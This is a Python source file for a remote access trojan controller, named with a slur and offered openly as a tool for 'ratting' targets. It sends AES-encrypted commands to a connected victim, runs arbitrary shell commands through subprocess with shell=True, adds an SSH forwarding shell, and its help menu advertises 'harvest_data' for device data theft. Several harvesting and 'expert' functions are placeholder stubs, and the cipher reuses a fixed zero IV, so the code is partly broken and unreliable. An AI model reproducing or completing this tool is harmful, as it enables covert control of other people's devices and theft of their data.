RattingLittleBitches.py

# RattingLittleBitches.py

import socket
import subprocess
import paramiko
import threading
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def establish_connection(host, port, key):
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(1)

    client_socket, _ = server_socket.accept()
    shared_key = derive_shared_key(client_socket, key)
    return client_socket, shared_key

def derive_shared_key(client_socket, password):
    salt = client_socket.recv(16)
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        iterations=100000,
        salt=salt,
        length=32,
        backend=default_backend()
    )
    key = kdf.derive(password.encode())
    return key

def encrypt(data, key):
    cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
    encryptor = cipher.encryptor()
    encrypted_data = encryptor.update(data.encode()) + encryptor.finalize()
    return encrypted_data

def decrypt(encrypted_data, key):
    cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    return decrypted_data.decode()

def send_command(client_socket, command, key):
    encrypted_command = encrypt(command, key)
    client_socket.send(encrypted_command)

def receive_output(client_socket, key):
    encrypted_response = client_socket.recv(4096)
    response = decrypt(encrypted_response, key)
    return response

def close_connection(client_socket):
    client_socket.close()

def execute_command(command):
    try:
        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
    except subprocess.CalledProcessError as e:
        output = f"Error: {e.output}"

    return output

def forward_data(client_socket, remote_socket):
    while True:
        data = client_socket.recv(4096)
        remote_socket.send(data)

        response = remote_socket.recv(4096)
        client_socket.send(response)

def start_ssh_forwarder(local_host, local_port, remote_host, remote_port, username, password):
    forwarder_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    forwarder_socket.bind((local_host, local_port))
    forwarder_socket.listen(1)

    client_socket, _ = forwarder_socket.accept()

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(remote_host, port=22, username=username, password=password)

    remote_socket = ssh.invoke_shell()

    return client_socket, remote_socket

def handle_target_client(client_socket, key):
    command = receive_command(client_socket, key)

    if command.startswith("advanced_command"):
        result = handle_advanced_logic(command)
    elif command.startswith("harvest_data"):
        result = harvest_device_data()
    else:
        result = execute_command(command)

    send_output(client_socket, result, key)

def handle_advanced_logic(command):
    # Implement advanced logic based on the received command
    result = "Result of the advanced logic"
    return result

def harvest_device_data():
    # Implement data harvesting logic
    data = "All data harvested from the device"
    return data

def receive_command(client_socket, key):
    encrypted_command = client_socket.recv(4096)
    command = decrypt(encrypted_command, key)
    return command

def send_output(client_socket, output, key):
    encrypted_output = encrypt(output, key)
    client_socket.send(encrypted_output)

def expert_logic_example():
    # Implement additional expert logic here
    result = "This is an example of expert logic."
    return result

def execute_expert_command(command):
    # Implement execution of expert-level commands
    try:
        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
    except subprocess.CalledProcessError as e:
        output = f"Error: {e.output}"

    return output

def advanced_data_harvesting():
    # Implement advanced data harvesting logic
    data = "Advanced data harvested from the device"
    return data

def help_menu():
    print("=== ToolForRattingBitches.py Help Menu ===")
    print("1. Basic Commands:")
    print("   - Type 'COMMAND_TO_SEND' to execute a command on the target.")
    print("   - Type 'exit' to close the connection.")
    print("2. Advanced Commands:")
    print("   - Type 'advanced_command' for advanced logic.")
    print("   - Type 'harvest_data' for data harvesting.")
    print("3. Expert Commands:")
    print("   - Type 'expert_logic' for an example of expert logic.")
    print("   - Type 'execute_expert' to execute an expert-level command.")
    print("   - Type 'advanced_harvest' for advanced data harvesting.")
    print("===========================================")

if __name__ == '__main__':
    password = "your_super_secret_password"
    client_socket, shared_key = establish_connection("127.0.0.1", 8000, password)

    help_menu()

    while True:
        user_input = input("Enter a command: ")

        if user_input.lower() == 'exit':
            close_connection(client_socket)
            break
        elif user_input.lower() == 'help':
            help_menu()
        else:
            send_command(client_socket, user_input, shared_key)
            response = receive_output(client_socket, shared_key)
            print("Response: ", response)